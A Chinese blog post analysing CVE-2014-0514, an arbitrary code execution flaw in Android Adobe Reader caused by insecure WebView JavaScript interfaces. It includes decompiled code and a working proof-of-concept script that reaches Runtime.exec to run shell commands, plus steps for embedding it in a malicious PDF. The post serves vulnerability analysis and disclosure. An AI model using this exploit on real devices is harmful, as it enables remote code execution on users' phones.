0x00 描述
前几天老外在fd还有exploit-db上,公布了Adobe Reader任意代码执行的漏洞。
漏洞编号: CVE: 2014-0514
AdobeReader安装量比较大,又和浏览器容器不同,分析一下。
Android Adobe Reader 调用webview的不安全的Javascript interfaces。
导致可以执行任意js代码。具体查看WebView中接口隐患与手机挂马利用。
影响版本:
理论上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。
我查看了之前的几个版本例如Android Adobe Reader 11.1.2 如下图,问题也应该存在。

0x01利用
从反编译出来的java代码看
#!java
public class ARJavaScript
{
[...]
   public ARJavaScript(ARViewerActivity paramARViewerActivity)
   {
[...]
      this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
      this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
      this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
      this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
      this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
      this.mWebView.setWebViewClient(new ARJavaScript.1(this));
      this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
   }
_adobereader,_app,_doc,_escriptString,_event,_field这几个变量都会存在任意代码执行的问题.
利用代码和之前一样。
#!java
function execute(bridge, cmd) {
   return bridge.getClass().forName('java.lang.Runtime')
      .getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
if(window._app) {
   try {
      var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
      execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
      window._app.alert(path + ' created', 3);
   } catch(e) {
      window._app.alert(e, 0);
   }
}
这里不同是构造 恶意的PDF。
首先需要一个PDF编辑器,比如Adobe Acrobat(flash达人pz推荐).
然后添加表单按钮或者书签等,调用事件添加

我这里看了下button最好演示,和老外的那个poc一样基本上.
导入到android虚拟机里,打开,成功复现。

0x02 扩展
一些网盘或浏览器,看看能否调用adobe reader来预览pdf的应用可能会存在这个漏洞,大部分应用都是直接下载pdf到本地。可以再测试一些能预览pdf的邮箱之类的应用。
0x03 修复
新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的用户则在adobereader禁用了表单的js执行。 不知道那些杀毒软件能不能检测到这些恶意poc呢 :)
附上poc.pdf
 
					
 
									![Connectify Dispatch指定程序使用指定网卡[运维神器]](http://www.vuln.cn/wp-content/uploads/2016/11/1.jpg) 
									![网站备案流程_网站备案需要什么[简单明了解决备案各种问题]](http://www.vuln.cn/wp-content/uploads/2014/03/topleft.gif) 
									![最新BurpSuite 1.7.32 破解版[注册机]下载【无后门版】](http://www.vuln.cn/wp-content/uploads/2018/02/ee462f76d3e2440f67041f92499c36ae.png) 
									![php一句话后门的几种变形分析[preg_replace函数]](http://www.vuln.cn/wp-content/uploads/2016/11/11.jpg) 
									 
									 
									 
									![[网盘下载] GB/T 23031. 1 — 2022 工业互联网平台 应用实施指南 第一部分:总则.pdf](http://www.vuln.cn/wp-content/uploads/2023/02/3faee12ec28ab59793fbe1c203b8363f.png) 
									![[网盘下载] GB/T 41870-2022 工业互联网平台 企业应用水平与绩效评价.pdf](http://www.vuln.cn/wp-content/uploads/2023/02/4ec246e126c4f3a41d9ced588c790998.png) 
									![[网盘下载] GB/T 36323-2018 信息安全技术 工业控制系统安全管理基本要求.pdf](http://www.vuln.cn/wp-content/uploads/2023/02/f6adb0f6fa49a734846c5873d178bfbc.png) 
									![[网盘下载] GB/T 32919 -2016 信息安全技术 工业控制系统安全控制应用指南.pdf](http://www.vuln.cn/wp-content/uploads/2023/02/da9420e72b7af6bfb4fa273884dcefc1.png) 
									 
									 
	 云悉指纹
云悉指纹